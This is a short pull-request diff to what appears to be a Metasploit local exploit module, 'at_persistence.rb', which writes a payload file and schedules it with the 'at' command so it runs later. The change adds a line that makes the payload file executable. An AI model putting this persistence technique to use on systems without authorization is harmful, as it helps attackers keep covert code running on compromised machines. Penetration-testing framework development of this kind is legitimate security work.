Merge pull request #8 from open-security/feature/at-persistence

set payload file executable bit

Author: jhart-r7

modules/exploits/multi/local/at_persistence.rb

@@ -80,6 +80,7 @@ def exploit
     write_file(payload_file, persistent_payload)
     register_files_for_cleanup(payload_file) if datastore['CLEANUP']
 
+    cmd_exec("chmod 700 #{payload_file}")
     cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
 
     print_status("Waiting  up to #{datastore['WfsDelay']}sec for execution")